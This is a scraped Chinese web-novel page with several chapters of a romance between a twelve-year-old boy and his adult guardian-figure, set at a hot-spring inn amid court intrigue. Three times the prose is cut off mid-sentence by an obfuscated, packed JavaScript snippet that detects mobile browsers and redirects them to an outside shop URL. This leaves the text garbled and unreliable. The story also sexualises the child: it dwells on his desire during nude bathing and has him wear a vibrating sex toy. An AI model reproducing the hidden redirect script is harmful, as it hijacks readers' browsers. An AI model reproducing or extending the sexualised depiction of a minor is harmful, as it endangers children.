人家女侠只说了让自己用茶水点心,可没说还能偷偷喝酒。 而且万一醉倒,恰好人家回来看到这一幕,多尴尬啊。 在明瑾的想象中,女侠的同伴肯定也是大侠,搞不好就和古时描写的江湖侠客一样,十步杀一人,千里不留行,花前月下,烈酒美人—— 他紧张又激动地跪坐在竹席上,心里盘算着,等下要是能让大侠教个自己一招半式的神功,还用怕魏金宝身边那些护院打手吗? 可半个时辰过去了。 女侠没来。 她的大侠同伴也没回来。 明瑾已经从规规矩矩的跪坐,变成了盘膝坐,最后等得双眼发直头胀脑晕,干脆直接四肢摊开躺地上了。 不行,他得去找张牧! 想到不知道跑到哪里的张牧,和还苦苦等在墙外面的李司,明瑾的良心一痛,觉得有些对不住兄弟们。 他嗖地站起身,噔噔噔走到门口,正要拉开门冲出去,突然一头撞在了一个人胸前。 “哎呦!” 明瑾脚下一晃,捂着脑门险些摔倒,被一只大手稳稳地按住了肩膀。 熟悉的清苦草药香将他笼罩包围。 明瑾怔怔抬头,映入眼帘的,是那双他心心念念的金眸。 约莫是酒后兴起,宁先生俊朗如玉的脸上少了些许沉静,却增添了几分慵懒醉意,仿佛瘦湖湖畔信风摇曳的垂柳,自带一派风流。 明瑾看到他垂眸注视着自己,低笑一声:“阔别数日,怎么还这样冒冒失失?” 说完便径直带上了门。 “咚” 门关上的声音让明瑾浑身一震。 晏祁没注意到少年奇怪的反应,酒意冲顶下,迎面而来的温泉水汽让人有些烦热,想到先前席间魏淮那副嘴脸,他揉了揉胀痛的眉心,随手解开腰带、发冠,又将外袍脱下。 手指搭在中衣扣子上时,终于想起某个小孩从刚才自己进门起,就再没出过声。 他微微偏头,笑了笑:“没想到你会来。不过,既然来了,要不要一起泡泡这池子?” 明瑾定定地看着他。 “啪!” 一声响亮的耳光。 晏祁的神情慢慢变得古怪。 好好的,这孩子扇自己做什么? 明瑾呆呆地摸了摸通红的脸颊,彻底清醒了。 “宁先生,”他深吸一口气,低着头小声说,“我没有换洗的亵裤。” 17.第 17 章 “无事,我待会摇铃叫人送来。” 晏祁并不觉得这算什么大问题。 他蹙眉走到明瑾跟前,看着突然紧张起来的少年,伸手拂上对方尚且温热通红的脸颊。 ——然后,使劲儿捏了一把。 看着面前少年陡然瞪圆的双眼,晏祁勾了勾唇,装作无事发生地收回手。 “行了,不必装了,想笑就笑吧。” 仿佛尘埃落地,明瑾立刻朝他露出一抹大大的笑容,上前一步搂住他的腰,一头钻进了晏祁怀中,闷声闷气地哼唧起来。 晏祁听了一会儿,发现他说的都是什么诸如“说好了半个月的呢”、“都在家等好久了”之类的埋怨,但又不让人觉得厌烦,像是清晨在枝头上嘀嘀咕咕的小雀团儿,十分可爱。 他一颗心忍不住软了几分,揉了揉怀中少年的头发,咽下已经到嘴边的“以后见人不可上来就抱”的告诫。 罢了,这孩子还小,就先纵着他吧。 礼仪规矩什么的,日后再学也可以。 晏祁完全忘记了,之前是自己跟人说“有些道理,再不教就晚了”。 他站在原地,由着明瑾黏糊了一会儿,摇铃叫侍女送来了干净的亵裤,还有一盘糕点和冰镇果饮。 但明瑾总觉得,自己似乎忘记了什么。 只是糕点一入口,他立马把这个念头丢到了九霄云外,双眼放光地对池子里的宁先生道:“好好吃!居然比明家大厨做的还要好吃!” “清沐坊的糕点师傅是宫里退下来的,自然不同于其他。”晏祁靠在池边,半阖着眼说道。 温暖池水浸泡着疲乏身躯,困倦后知后觉地席卷全身,这让他的嗓音变得比平时更加低沉含混,“我那酒壶被人动过,你偷喝酒了?” 虽是问句,他用的却是陈述的语气。 明瑾在心里感叹一声果然宁先生心细如发,和魏金宝那个眼拙的混蛋简直犹如云泥之别。 但面上却装作一副不高兴的模样,仿佛被冤枉了似的:“才没有呢!” 当然,如果他的腮帮没有被糕点撑得鼓鼓囊囊,嘴角还沾了些糕点屑,或许这场面会更有说服力一点。 明瑾嚼嚼嚼,咕咚一声咽下嘴里的糕点,正色道:“宁先生说得哪里话?我可是正人君子,不会干那种偷偷摸摸的事情。” “还君子……你才多大。” 晏祁轻笑了一声,睁开双眼。 视线落在少年投于池中的倒影,不知是出于何想法,他动了动手指,垂在池边的指尖微微一弹。 一圈圈涟漪荡开,岸边的倒影就此模糊在水雾之中。 明瑾的注意力瞬间就被吸引过去了,顺着宁先生被漆黑麂皮包裹的修长指节一路向上,又超绝不经意地停留在他结实白皙的胳膊线条上,蠢蠢欲动片刻后,终于不舍地收回目光。 “宁先生为何要一直戴着手套?” “手上旧伤,不能接触热水。” 明瑾得寸进尺:“那,能让我看一看吗?” 晏祁睁开眼,淡淡地看了他一眼。 “没什么好看的,”他说,“倒是你,吃完了就换衣服下来吧,身上全是灰。” 其实晏祁这话说得还算是委婉了,明瑾可是爬狗洞进来的,之前没注意,现在嘛…… 他低头看了一眼自己衣服上沾满的草屑泥巴,顿时小脸一红,躲进房间里换亵裤去了。 晏祁无声勾了勾唇,重新闭上双眼。 过了一会儿,周身的水流发生了变化。 明瑾小心翼翼地挪到距离宁先生一臂之遥的位置,看了闭目假寐的心上人一眼后,慢吞吞地把自己的大半身子都沉进了水里,只露出一双圆溜溜的乌黑眼睛。 “就没有什么想问我的?” 明瑾下意识点了下头,等做完这个动作后,他才反应过来宁先生现在是闭着眼睛,看不见,于是往上坐了坐,有些别扭地开口问道:“那位木女侠,算是我的……师娘吗?” “不是。” 晏祁叹了口气,似乎拿他很是没办法:“你想问的就只有这个?” “好奇嘛。”听到这个答案,明瑾像是被烈日下灌溉过的秧苗,嗖地一下又支棱起来了。 他甚至险些笑出声来,但想到自己还在水里泡着,就把笑声变成了一串咕噜咕噜的泡泡。 少年吐着泡泡自娱自乐了半天,晏祁本以为这孩子终于安分些了,明瑾又朝他抛出了下一个问题:“那您怎么会跟她在一起?” “……来见一位老朋友。” 明瑾哦了一声,不说话了。 晏祁看着他一会儿兴高采烈,一会儿又情绪低落,变脸比翻书还快,有些头疼地想,果然这个年纪的少年,都是集难训的马,暴躁的驴和固执的王八于一身,难搞得很。 养个孩子可真不容易。 但他还是耐下心询问:“怎么又不高兴了?” “没有,”明瑾低着头玩手指,闷闷回答,“只是觉得,宁先生对我了如指掌,我却对宁先生知之甚少,有点儿遗憾罢了。” 晏祁笑了一下:“想知道我的事情?” 明瑾狠狠点头。 “可以,但有条件。” “……又打赌啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16202352|180712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不是打赌,”晏祁慢悠悠道,“看到池对岸了吗?今天你若是能自己从这儿游到那儿,我就跟你讲一件关于我的事情。” 明瑾终于想起来,之前宁先生好像确实说过,要教他凫水来着。 只是没想到会在今天。 因为上次意外坠湖,他至今对水还有一种恐惧感,光是泡在温泉里就已经让明瑾感觉到不适了。 要不是宁先生在,他打死也不会下水的。 可他又好想知道宁先生的过去…… 明瑾踌躇片刻,咬牙点了下头。 晏祁自池中直起身,温泉水哗啦啦地自他的胸膛上滑落。 朦胧雾气间,青年墨色长发披散,一身白皙肌肉被水汽蒸腾,呈现出如玉般的潮湿光泽。 那赤.裸、饱满的弧度,叫明瑾的眼睛咕噜一下直了。 少年脸颊滚烫,眼神闪烁,小脑袋瓜里来回盘旋着一个念头: 要是自己把脸贴在上面,再搂着宁先生的腰的话…… 多是一件美事啊! 晏祁浑然不觉,朝某个已经暗搓搓在心里美上的小色鬼伸出手:“来,握着我的手。” 明瑾大吃一惊。 他瞪圆了眼睛,有点儿不好意思,羞涩道:“还、还要握手吗?” “不然呢?”晏祁奇怪地看着他,“初学凫水时,自然要有人牵引,不然不就沉下去了。” “这样啊。” 明瑾失望地抿了下唇,但还是飞快地抓住了晏祁的双手。 ——隔着手套。 讨厌手套。 晏祁也没再管这孩子在想什么,总归是搞不明白的,他先从双腿击水开始,一步步耐心指导起了明瑾的动作。 “小腿绷直,仰头,吸气,呼气……” “不要怕,我拉着你,不会呛着的。” “很好,跟我在池子里游一圈,慢慢的……” 明瑾一个蹬腿,脸撞在了他的小腹上。 “对不起对不起宁先生,不小心撞到您了!”少年鼻头红红的,一脸惶恐地站直身体,湿漉漉的小手在他的腹肌上用力抹了两把,“您没事吧?” 明瑾仰头看向晏祁,红红的小脸蛋上写满了无辜和担忧。 不像演的。 “我没事,”晏祁神情复杂,“但我觉得,你可能有事。” “我?我很好啊。” 明瑾眨了眨眼睛,突然感觉鼻子一热。 低头一看。 一滴鲜血顺着下巴滴了下来。 晏祁:“…………” 方才,有撞这么狠吗? 18.第 18 章 “要不要休息一会儿?” 虽然心里想着现在的孩子未免也太脆弱了些,但晏祁还是多问了明瑾一句。 明瑾仰头捏着鼻子,连连摇头,像只落水后被主人捞上岸的小狗一样,把头发上的水珠甩得到处都是,“不用,不用。” 难得的相处机会,要是不抓住,他明瑾不如改姓宁好了! 晏祁总觉得面前的少年似乎有哪里古怪。 他看人一向很准,但却不愿在明瑾身上算计太多,因此也没怎么细想。 更何况,明瑾才十二岁,从小被明家呵护教导长大,能有什么坏心思呢? 看着明瑾鼻头通红,眼睛闪亮的模样,晏祁嗯了一声,揉了揉他湿漉漉的脑袋:“趁热打铁,那便继续吧。” 明瑾强压着嘴角上扬的冲动,正要把手递过去,突然想起了一件重要事情—— “坏了,张牧呢?” 在和心上人洗了半个时辰的鸳鸯浴(单方面认为)后,明大少爷终于后知后觉地想起了还在外面受苦的兄弟。 见鬼,完全忘到脑后了! 回想起之前张牧说他重色轻友,明瑾还不肯承认,现在嘛…… “宁先生,求您帮我找找他,外面还有一个叫李司的,都是这次和我一起来清沐坊的人。”明瑾拽着晏祁的手央求道。 当然,其中有多少是因为愧疚,就不太好说了。 明瑾长叹一声,神色沉痛:“他们可都要是我的挚爱亲朋,手足兄弟啊!” 寥寥数次见面,晏祁还不够了解明瑾。 不知道他的话里不仅有很大水分,甚至要是挤一挤,差不多能挤出个汪洋大海来。 他只知道,自己不喜欢这番说辞。 什么“挚爱”、“手足”,晏祁漠然心想,不过是恰好在一个学堂里学习罢了。 论起对明瑾掏心掏肺,这些人哪能比得上自己或是明家夫妻半分? 世事难料,纵然曾有过同窗情谊,分道扬镳、甚至反目成仇都是常事。 这孩子如此天真纯情,以诚待人,日后恐怕是要吃大亏的。 但晏祁并没有把这些话说出来,只是皱了皱眉,淡淡道:“放心,他们有人照看着,不会出事的。” “真的吗?那就好。” 明瑾立刻就信了。 宁先生肯定是不会骗他的! 紧接着,他立马把什么挚爱亲朋手足兄弟统统丢到了九霄云外,扭扭脖子调整了一下角度,矜持仰头:“宁先生,我们继续?” 这可是他每次闯祸后百试百灵的姿势。 每次娘一看到,火气立马就消了大半,取而代之的是一脸咬牙切齿的无奈。 所以一定也能让宁先生为之着迷吧,桀桀桀。 晏祁定定地看了他一眼,轻笑一声: “好,继续。” 一个半时辰后。 明瑾精疲力尽,像条死狗一样飘在池子里。 什么仪态,什么姿势,早就和他的大脑一样,顺着池子的活水飘走了! 在喝了不知道第多少口温泉水后,他终于被晏祁大发慈悲地抱上了岸。 明瑾咳嗽两声,趁机伸手搂住宁先生的脖子,小手死死扒住他的后背,还把脑袋埋在他的颈侧拱了拱,恨不得就这样黏在对方身上一辈子。 晏祁却以为这孩子是怕滑下去,还很贴心地拖了拖他的小屁股,让他趴得更舒服些。 结果等把人放下时,少年裹着毯子,一动不动地瘫在竹席上,脸红得像只熟虾似的。 晏祁:? “好累,好热,”明瑾怕被看出端倪,很欲盖弥彰地大声呻.吟了两声,“在池子里泡太久了,先生摸摸看,我是不是要熟了?” 晏祁勾起唇,淡淡嗯了一声。 “五分熟,皮薄肉嫩,口感最好。” “那先生再养我两年,等我长肉了再吃,更划算。” 晏祁笑了笑,换了身干净里衣,披着外袍,盘膝坐在明瑾边上,给他倒了杯茶水,“行了,别贫了。虽然没达到目标,但看在练习态度认真的份上,我还是会履行承诺的,起来喝口水吧。” “起……起不来……” 明瑾颤颤巍巍地抬起一只手,又咚地一声,无力落地。 他头朝下闷声道:“宁先生,我要死了。” 晏祁不为所动,低头抿了一口茶。 半晌,才悠悠问道:“那有什么遗言要交代吗?” 好残忍!居然能对夫君见死不救! 明瑾心中愤愤不已。 但像这种话,哪怕是赵子龙借他一个胆,明瑾也是万万不敢说出口的。 他只能像僵尸一样,裹着毯子,朝宁先生的方向一点点挪动。 在晏祁“我倒要看看这小戏精又打算搞什么幺蛾子”的眼神中,明瑾已经厚着脸皮,装作伸手拿茶杯,趴在他腿上,美滋滋地喝上了。 晏祁垂眸,静静看着膝上的少年。 神色平静,但也一言不发。 明瑾起初还挺乐呵,后面气焰渐渐矮了下去,觉得自己好像、可能、确实有点得寸进尺了。 于是又慢慢地把脑袋缩进了毯子,装作别人看不见他。 当然,在房间里只有两个人的前提下,这个“别人”特指晏祁一人。 “我像你这么大时,你知道我在干什么吗?” 万幸,宁先生没有赶他下去,而是问了他一个莫名其妙的问题。 明瑾怔了怔,猜测道:“在念书?” “书肯定是要念的,但是只能抽空,”晏祁说,“我那时没有太多时间。” “为什么?” “因为有很多事情要做,还要养孩子。” “养、养孩子?”明瑾按着他的大腿,嗖地一下坐直了,“是谁家的孩子?” 晏祁掀起眼皮,盯着少年,微微一笑。 “自然是我家的。” 他说:“我可没有帮别人养孩子的癖好。” 明瑾的脸色刷地惨白——宁先生当真这么早就有孩子了?可明明老爹说过他至今尚未婚娶……该不会是养了外室吧? 难不成,他今天就要失恋了!? 明瑾在心里呜呼哀哉,眼泪差一点就要落下来。 但他坚强地忍住了,不甘心地追问道:“宁先生能让我见见那个孩子吗?” 算算看,那孩子应该也就比他小几岁。 明瑾发誓自己只是好奇而已,绝不是因为失恋迁怒,也不是因为想要往那小屁孩的裤.裆里塞癞//□□。 真的。 “那应该是见不到了,”晏祁失笑,“那孩子被我送人了。” “啊!?” 明瑾呆住了。 看着少年犹豫半天不知该如何开口的模样,晏祁只觉得心情大好:“放心,那孩子和我没有血缘关系。” “原来是收养的啊,”明瑾松了一口气,“那太好了——呃,我是说,这么多年,宁先生可有再见过他?” “有。”正赖在腿上呢。 明瑾重新把塞癞//□□的计划记上小本本,表面上笑得一派天真无邪明媚灿烂:“宁先生放心,我肯定比那孩子聪明乖巧可爱,您不用养他,养我就行了!” 晏祁拿来一块毛巾给他擦头发,边擦边打趣:“明家是江南有名的大户人家,你又是大户人家的大少爷,我万一养不起怎么办?” “我吃的不多,”明瑾立刻拍着胸脯为自己澄清,“一天三顿……不,两顿就行!” 俗话说得好,有情饮水饱嘛。 再说了,像宁先生这样风姿卓绝的人,怎么可能穷。 实在不行,他就回家找娘哭一哭,娘心软,肯定会偷偷给他塞钱的; 就算娘不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“您也知道,因为魏金宝的关系,在书院里敢和我接触的人本就不多,算得上朋友的就更少了;除了父母以外,先生是第一个我能依靠的长辈,也是唯一愿意听我讲心事的朋友。” “这一个多月,我在家里日日思念牵挂先生,娘说最近京城不太平,我生怕先生出了什么事,担心得茶饭不思,食不知味……” “您看,我这脸是不是都瘦了一圈?” 不,胖了。 晏祁默默心道。 方才试了一下,手感还颇为不错。 但哪怕他很清楚地知道,这番话只是明瑾为了不想回家找的说辞,什么一百多个秋天,《诗经》里的“一日不见如隔三秋”,是为了委婉表达情人间的相思之意,这孩子也不知道书都读到哪里去了,哪里能这么算? 可晏祁也不得不承认,听到这番话,他的确心软了。 晏祁一直觉得自己是个底线坚决的人,朝堂之上对自己的风评,也大多是“刚强不仁”、“心狠手辣”之类的负面词汇。 然而在面对明瑾的时候,他的底线不仅一退再退,甚至灵活得都能当皮筋来回伸缩了。 晏祁叹了一口气:“好吧,但你只能待在这屋里,不许乱跑,明天我再叫人……不,我亲自把你送回去。” 明瑾眼前一亮,立马不滚了,一把扑上来,抱着他的腰欢呼起来:“太好了!谢谢宁先生!” 晏祁看着他高兴的样子,虽说神情依旧平静如初,但眼底也闪过一丝淡淡笑意。 分别十年,他本就对这孩子心怀亏欠。 幸好明家厚道,待明瑾还算不错。 但这并不能抹去他当初擅自将明瑾送给明家抱养的事实。 这孩子,本该是属于他的责任。 只是…… 晏祁抓着怀中少年的衣领,往后扯了扯,头疼道:“你这动不动就抱上来的毛病,究竟是跟谁学的?下去!” 19.第 19 章 明瑾不情不愿地松开了手。 算了。 总归还有一晚上的相处时间,不急于一时半刻。 日暮时分,晏祁又出去了一趟,说是要跟认识的人打声招呼。 明瑾故技重施,想要央求他带自己一起。 可惜没成功。 他垂头丧气,只能老老实实地待在木屋里。 “不许喝酒,不许翻栅栏,不许擅自出门,不许搞破坏。”出门前,晏祁叮嘱他。 等反应过来,才发现自己竟一口气连说了“四个”不许。 “知道啦,”明瑾跪坐在竹席上,脊背挺得笔直,“放心吧宁先生,我会在这里乖乖等你回来的。” 晏祁:“…………” 其实并不怎么能放心。 但凡家中养过调皮猫狗的人都知道,无论你的猫猫狗狗在你出门前表现得有多乖巧,在门关上的那一刻,你的屋子就不再属于你了。 它们自有一套装修计划。 他沉默片刻,怕被看出端倪,主动挪开目光,避开了明瑾目光炯炯的对视。 这一刻,晏祁终于明白,为何那日去明府,明敖会一脸复杂地对他说“瑾儿是个好孩子,但实在无法想象他坐上那个位置之后,大雍会变得如何”。 若是顽劣叛逆非要硬着跟人杠也就罢了,他不是没见过硬骨头,再硬的骨头,他也有千百种手段掰回来; 可这孩子偏偏动不动就赖着他,朝他撒娇,乍一看像块任人揉圆搓扁的泥巴,可真上手了才发现,其实是一块一碰就粘手、甩都甩不掉的牛皮糖。 关键是,这牛皮糖还会嚷嚷:“我很甜的!快尝尝吧!” 实在是让他有些不知如何是好了。 晏祁并不惧怕死亡。 但他现在十分担心,待自己谋成大事,准备功成身退之时,会听到宫人禀报一些诸如“陛下突发奇想率军闪击北胡去了”、或是“陛下不堪上谏,下令让朝臣集体自宫”的恐怖故事。 当然,晏祁也知道明瑾还不至于如此荒唐。 只是近来他手头事务繁忙,朝堂之上也风声愈紧,实在不是个关起门来好好教孩子的时机。 换做平时,他很乐意多花些时间精力和明瑾慢慢磨合。 可从魏淮今日的言语表现来看,太子似乎,已经无法再容忍二皇子的存在了。 或许先前太子还会看在手足之情的份上,放过二皇子一马;但这次废立教会了他,何为赢则生,败则死。 二龙相争,这是他想要看见的局面。 但,不是这么早。 明瑾还没有成长起来,这世道就要乱了。 脚下之路漫漫,前方尚不明朗,自己究竟能走到哪一步……就连晏祁自己都不确定。 千头万绪,最后化为了一声微不可察的叹息。 晏祁揉了揉明瑾的头,敛去眼神中的复杂沉晦,一如从前般淡淡一笑:“乖一点,我很快就回来。” 门在明瑾的眼前关上了。 明瑾眨了眨眼睛。 宁先生方才,为什么突然情绪低落了一阵? 难道…… 是因为不想和他分开吗! 休息了一会儿,已经恢复大半精力的明瑾瞬间支棱起来。 他为自己这个猜测暗自窃喜了一阵,决定等今晚入睡之前,一定要再给宁先生一个爱的抱抱。 爹说过,夫妻之间,就该同舟共济。 夫夫也一样! 在心中默默做出了决定后,明瑾重新把视线投向屋内。 之前因为对女侠和女侠手中的横刀心怀畏惧,他很谨慎地没有到处乱翻乱看,哪怕动了什么东西,也会第一时间恢复原样。 但现在不一样了。 ——他有宁先生做靠山啊! 明瑾哼着小曲儿,掀起竹席,跪趴在地上,从东南方向开始,一寸一寸地摸过去。 他躺在上面的时候就察觉了,底下肯定有暗格,就是不知道究竟装了什么……等下,这是什么!? 明瑾捧起一个用金漆绘着鸳鸯交颈的木匣,不过巴掌大小,造型十分精致,有些疑惑地打量了一番,轻轻一推—— 木匣竟被他直接打开了。 里面装着两枚铃铛。 小的有龙眼大小,大得比核桃还要大一圈。 明瑾拎起那个小的,还没等摇晃,突然它就自己叮铃作响地颤动起来,把他吓了一跳。 难不成,有鬼? 他吓得把手里的铃铛一丢,铃铛落在地上,竟颤动得更加厉害了,明瑾足足等了一炷香的时间,它才慢慢恢复平静。 他眨了眨眼,心里开始抓心挠肝地好奇,凑过去重新把它捡起来,试验了几遍,终于找到了关窍。 这东西,若是挂在自己的长命锁底下的话…… 明瑾不禁畅想起来。 他老早就想换了,娘给他的长命锁哪哪都好,用料材质皆为上乘,就唯独那铃铛历经岁月磋磨,磨损得有些严重了。 说干就干! 潜入内院的时候,因为怕铃铛响被人发现,明瑾就将它摘下藏进了怀里。 宁先生心细,教他凫水的时候还特意问了一嘴,估计是怕他把贵重物品弄丢了吧。 明瑾心想这东西可不能丢,否则娘真的会把他的屁股揍成八瓣,一边动作飞快地将居中的铃铛拆下来,换上这枚在他眼中无比神奇的“自动铃铛”,然后,美滋滋地把它戴在了脖子上。 山腰落日,雁背斜阳。* 天色渐暗,清沐坊里也热闹起来,隐隐有唱念做打的声音从外面传来。 明瑾托着腮,坐在台阶上,竖起耳朵听了半天。 晚风拂过鬓发,摇动满园松柏绿树,他望着头顶水溶金般的苍穹,等得望眼欲穿—— 宁先生,好慢啊。 每逢年关,娘总是感叹岁月不等人,眨眼间一年又过去了。 可他怎么觉得,只要是上学念书的时候,哪怕只是一月、一天甚至是一个时辰,都是如此漫长呢? 哦对了,现在还要再加上一个等宁先生回来的时候。 唉,好想时间再过快一些啊。 他要是能早点长大就好了。 晏祁是一个时辰后回来的,彼时已月挂林梢。 进门时他第一时间扫视了屋内陈设,诧异地发现竟然真跟走时一样,看来明瑾这次说到做到,真的很乖。 “给你带了晚膳。”他说,“被褥的话……” “不盖也行!”明瑾赶紧道,“或者先生分我一个被角就够了,我火力大,不喜欢捂得严严实实的,盖个肚皮就够了。” “随你吧。” 晏祁淡淡道。 他一直觉得养男孩要糙养,条件刻苦可以克服,偶尔的摔摔打打也是有必要的。 更何况魏淮为了讨好他,还是下了血本的。 这里是清沐坊最好的屋子,边上的温泉更是附近最大的一处泉眼,若不是他主动开口拒绝,急着回来见明瑾,估计后面魏淮还会给他准备什么“美人共浴、鸳鸯戏水”的环节。 只是合盖一条被褥而已,哪里叫吃苦,该叫奢靡才对。 “先生吃了吗?” “吃过了,你自己吃吧。”晏祁还在想着白天发生的事,有些心不在焉地回答。 “嗡……嗡……” 什么声音? 他皱眉望去,视线落在明瑾身上,瞳孔骤然一缩。 明瑾注意到他的目光,甚至还颇为得意地挺了挺胸膛,方便宁先生看得更清楚些。 看,他的新铃铛! “你从哪儿找来的这腌臜东西!?” 晏祁霍然起身。 他怒意盎然地拧紧眉毛,双眼死死盯着明瑾胸前的那枚尚在兀自震动的缅铃,只觉得仿佛有一股血液逆流而上,直冲头顶。 若是出去被人瞧见,这已经不能算是有伤风化了,该是卑鄙下流、败德辱行才对!是一辈子都洗不清的污名! 明瑾被他的反应吓了一跳,还没来得及回答,晏祁便上前一步,一把抓住他的肩膀,冷声道:“现在,立刻,给我把它摘下来!” “为什么?” 明瑾一向对宁先生言听计从,但这次却没动。 因为他觉得很委屈——好好的,宁先生做什么要对他这么凶?他又不知道这铃铛是干什么用的,有话好好说不行吗? “为什么?”晏祁怒极反笑,“你连这东西是什么都不知道,就敢往长命锁上挂?你知不知道,这玉锁可是——” 他突然闭上了嘴巴,深吸一口气,胸膛上下起伏一阵,竟奇异地冷静了下来。 “看来,是我这几次见面对你太过宽容了,让你对我有了一种误解。”晏祁冷下脸来,退后两步,“把那玩意儿摘了,然后脱裤子。” 明瑾瞬间瞪圆了眼睛。 他再傻,也知道宁先生这话是什么意思。 虽然不知道为什么,但宁先生是真的生他气了— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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如此一来,看着明瑾蜷缩在地上,哭得上气不接下气的模样,他心里也不由得泛起了一丝愧疚。 晏祁抿了抿唇,想要伸手替他擦擦脸上的眼泪,但手刚伸到一半,却又顾虑着什么,慢慢放下了。 罢了,怨就怨吧。 将来这孩子要怨恨他的事,还多着呢。 但哭得正投入的少年却不知怎么的,注意到了他的动作,一把抓住了他的手,顺势蜷进他怀里,嗷嗷哭得更厉害了。 边哭还边说些什么“宁先生你不许走”、“你脾气大我也要你”之类的胡话,听得晏祁满腹心绪都化为了无奈。 “说什么乱七八糟的呢,”他摸了摸怀中少年的一头乱毛,嗯,果然有块反骨,“你知道错了就好,下次不许再犯同样的错误了,方才……” 晏祁欲言又止,视线停留在明瑾胸前的那块长命锁上。 或许明瑾还不明白,这块玉锁究竟有何意义,可他却是再清楚不过的。 若今日干这事的人不是明瑾,晏祁甚至会当场拔剑砍人。 但不知者不罪,他一时心急对这孩子动了手,的确也有错。 都说商贾贩卖往来,最会察言观色,明瑾觉得自己也继承了老爹的这方面特质。 这边宁先生的态度稍微松动缓和了些,他立马察觉到了,并用一眨眼间的功夫,就决定利用这次机会为自己谋取些福利。 既然已经挨了顿打,那总不能白挨吧! 明瑾逼着自己压下内心那一丝小小的愤懑,死死拽着对方的手—— “先生没错,是我错了,”他软软地说,还故意响亮地吸了吸鼻子,挤出两滴眼泪,来显示自己有多么弱小可怜又无助,“下次一定不再犯了。” 晏祁:“…………” 还是那句话: 看破了,但又能怎样? 此乃阳谋。 明瑾还在他怀里扭来扭去,呜呜咽咽:“宁先生,我屁股好疼啊,要……”抱抱! “屁股疼得很吗?” 晏祁见他点头,还以为真是自己没收住力,一下子把这孩子打狠了。 就是这眼泪怎么跟炸出来的似的,而且还能收放自如呢? 他松开手,神色认真道:“脱裤子,让我看看要不要上药。” 明瑾的哭声瞬间哽住了:“…………” 还、还来啊? 50-60 第51章 【一更】 见过小主公! 明瑾想破脑袋也想不明白, 魏金宝是怎么掺和进来的。 前段时间他忙着和张牧他们一起练球,最近发生的事情又太多,一来二去, 明瑾差点都要忘了和魏金宝的恩怨了。 在他看来, 魏金宝虽然可恨, 但终究只是学堂里的小打小闹,可是若上升到朝堂这个层面, 那可就不一样了。 这可是一不小心就会掉脑袋、甚至是满门抄斩的事情! “和他爹魏相有关吗?”明瑾纳闷道。 木云颔首:“显而易见。” “可我记得他爹对这个儿子, 好像也不怎么看好吧。” 对于多年前自己在温泉边偷听到的魏金宝发言,明瑾仍记忆犹新,时不时就拿出来回味一番,让自己开心开心,“魏家不是还有个长子魏伯贤?听说他去年就已经入朝为官了, 夺嫡这么危险的事情, 魏相怎么会让小儿子也参与其中, 也不怕他搞糟吗?” 说句不好听的, 就魏金宝这智商,明瑾深切怀疑, 哪怕是二选一,他都能精准选出那个必败无疑的选项。 “两种可能,”木云说,“一是魏家确实走投无路, 无人可用了,但可能性很小;二便是在这件事情当中, 魏金宝起到的作用微乎其微。” “那为何还让我多留意他?” “他毕竟是魏相的儿子,”木云意味深长道,“年轻气盛, 与你又有过节,对于你来说,他是最好的突破口。” 明瑾还想再问几句,但木云似乎并不想多说,没办法,他也只好先同木云道别,自己一个人溜达回家思索起来。 想要撬开魏金宝的嘴,这其实不是件难事。 明瑾心想,但要在套话的同时叫对方察觉不到自己和这件事有关联,那难度就大了去了。 “啪!” 突然一颗石子自窗外砸来,明瑾捂着后脑勺,怒气冲冲地扭头:“谁啊?!” “你爹。” 张牧坐在窗边,手里上下抛着一粒石子,先是上下把明瑾打量了一番,视线落在他淤青尚未褪去的双手上,停顿了片刻,很没有良心地说道:“我看你状态还挺好的,反正是伤了手又不是腿脚,老窝在家里干嘛?” 明瑾知道,张牧其实是在委婉地问自己为什么这几天不去书院,他哼了一声,不搭理这家伙,径直往床上一趟。 “我乐意。” “嘿,脾气还变大了。” 张牧跳下窗子,走到他边上,拖了条凳子坐下,兴致勃勃地问道:“快跟我说说,你跟那个宁王到底是怎么回事?” 明瑾闭着眼:“无可奉告。” “明瑾!你还是不是兄弟?”张牧气急败坏道,“亏我当时在老丁头面前还替你求情来着!” “某些人不是一直说,自己不想听我讲那些事情吗?”明瑾懒洋洋道,“怎么又突然变卦了?” 张牧支支吾吾道:“这不是不知道他就是……嗨呀,你小子别卖关子了,我都看到你在偷笑了,快点说!” 他瞪着明瑾努力掩饰上扬的唇角,磨了磨牙,看上去很想一枕头捂死明瑾。 明瑾终于睁开眼睛了,目光直勾勾地投向窗外:“在此之前,外面那几个偷听的,要不一起进来?” 片刻寂静后,陈叔山、荀婴和李司像是雨后春笋似的,接二连三地在窗口冒出了头。 荀婴大概是第一次干这种偷偷摸摸不走正门的勾当,在其他两人直接翻窗进来、并表示乐意拉他一把的前提下,仍红着脸坚持要走正门。 “君子走正门。”他说。 “君子可不会偷听,”明瑾凉凉道,起身盘膝坐在床上,指了指身边的位置,“喏,随便坐吧,反正大家都不是什么君子,我就不倒茶招待了,那边有白水,请自便。” 陈叔山主动起身给众人倒水,张牧着急听八卦,也懒得管明瑾说话夹枪带棒的,催促道:“行了别卖关子了,人都到齐了。” 明瑾叹了一口气:“好吧。” 还好,晏祁跟他说过,考虑到张牧几人跟他的关系,他们背后的家族,早已被他收拢进宁王府的势力范围内。 因此,明瑾大可以私下里告诉他们真相。 